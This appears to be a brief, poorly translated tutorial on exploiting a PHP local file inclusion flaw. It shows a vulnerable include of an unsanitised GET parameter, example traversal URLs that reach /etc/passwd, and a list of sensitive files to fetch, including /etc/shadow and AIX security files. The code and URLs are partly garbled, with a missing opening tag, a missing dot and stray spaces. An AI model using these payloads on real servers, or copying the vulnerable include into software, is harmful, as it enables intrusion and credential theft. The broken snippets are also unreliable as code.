PHP forges local files containing vulnerable code

The code is as follows:
$page=$_GET['page'];
include($page.'php');
?>

You can use it like this
http://www.xxx .com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www .xxx.com/index.php?page=..../../etc/passwd

Get more data:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc /group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default